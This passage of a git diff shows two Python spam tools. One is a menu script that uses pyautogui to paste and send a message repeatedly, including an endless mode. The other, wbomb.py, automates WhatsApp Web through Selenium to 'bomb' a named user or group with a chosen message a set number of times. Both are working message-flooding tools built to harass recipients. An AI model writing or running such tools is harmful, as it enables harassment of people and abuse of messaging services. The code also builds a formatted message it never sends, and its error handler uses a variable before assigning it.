n) # result + elif name == '3': + print(rr + b) + print(rg + 'prefix: ' + rr) + g = str(input()) + + print(rg + 'suffix: ' + rr) + su = str(input()) + print(rg + 'num of messages(0 = inf.): ' + rr) + try: + inte = int(input("interval[sec]: ")) + + except: + error(2, inte, ver) + try: # errorfind + n = input() + n = int(n) + except: + + error(2, n, x) + sleep(4) # wait... + f = range(n) + system('cls||clear') # cls + + print(ry + b + "\nwait. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait.. ") + sleep(0.5) + system('cls||clear') + + print(ry + b + "\nwait...") + system('cls||clear') + + print('=====process=====num_message') + print(b, '\nprefix: %1s\nsuffix %1s\ntimes: %1s' % (g, su, n)) + if n != 0: + for i in f: # spam messages + sleep(inte) + print(rg + '%1d message send!' % (i + 1)) # print messages in screen + fo = ('%1s %1s %1s' %(g, str(i), su)) + paste(g) + pyautogui.press('enter') + i = i + 1 + elif n == 0: + r = True + i = 0 + while r: + sleep(inte) + i = i + 1 + print(rg + '%1d message send!' % (i)) + fo =('%1s %1s %1s' %(g, str(i), su)) + paste(g) + pyautogui.press('enter') + + else: + error(4, name, modes) + elif name == '2': # credits + system('cls||clear') # cls + print(cr) + input() + + elif name == '3': # errorlist + system('cls||clear') # cls + print(err) + input() + + elif name == '4': # exit + run = False + + elif name == '5': # exit + system('cls||clear') # cls + print(v) + input() + elif name == '6': # exit + system('cls||clear') # cls + print(log) + input() + else: + error(4, name, x) diff --git a/wbomb.py b/wbomb.py index fac67f1..da32c82 100644 --- a/wbomb.py +++ b/wbomb.py @@ -1,36 +1,41 @@ from selenium import webdriver import os -from webdriver_manager.chrome import ChromeDriverManager #1st changer +from webdriver_manager.chrome import ChromeDriverManager # 1st changer + + def banner(): - print(''' + print(''' ## ## ======= #### #### #### ======= \ \ #### / / # # ## ## / /\ \ / /\ \ # # \ \ / /\ \ / / #====== ## ## / / \ \/ / \ \ #====== \ \/ / \ \/ / # # ## ## / / #### \ \ # # #### #### ======= #### ## ## ======= ''') + + def main(): - driver = webdriver.Chrome(ChromeDriverManager().install()) #2nd change - driver.get('https://web.whatsapp.com/') + driver = webdriver.Chrome(ChromeDriverManager().install()) # 2nd change + driver.get('https://web.whatsapp.com/') - name = input('Enter the name of user or group: ') - msg = input('Enter your message: ') - count = int(input('Enter the count: ')) + name = input('Enter the name of user or group: ') + msg = input('Enter your message: ') + count = int(input('Enter the count: ')) - input('Enter any key after scanning QR code') + input('Enter any key after scanning QR code') + + user = driver.find_element_by_xpath('//span[@title = "{}"]'.format(name)) + user.click() + + # The classname of message box may vary. + msg_box = driver.find_element_by_xpath('/html/body/div[1]/div[1]/div[1]/div[4]/div[1]/footer/div[1]/div/div/div[2]/div[1]/div/div[2]') + + for i in range(count): + msg_box.send_keys(msg) + # The classname of send button may vary. + button = driver.find_element_by_xpath('/html/body/div[1]/div[1]/div[1]/div[4]/div[1]/footer/div[1]/div/div/div[2]/div[2]/button') + button.click() + print('Bombing Complete!!') - user = driver.find_element_by_xpath('//span[@title = "{}"]'.format(name)) - user.click() - - # The classname of message box may vary. - msg_box = driver.find_element_by_xpath('//*[@id="main"]/footer/div[1]/div[2]/div/div[2]') - - for i in range(count): - msg_box.send_keys(msg) - # The classname of send button may vary. - button = driver.find_element_by_xpath('//*[@id="main"]/footer/div[1]/div[3]/button') - button.click() - print('Bombing Complete!!') banner() -main() \ No newline at end of file +main()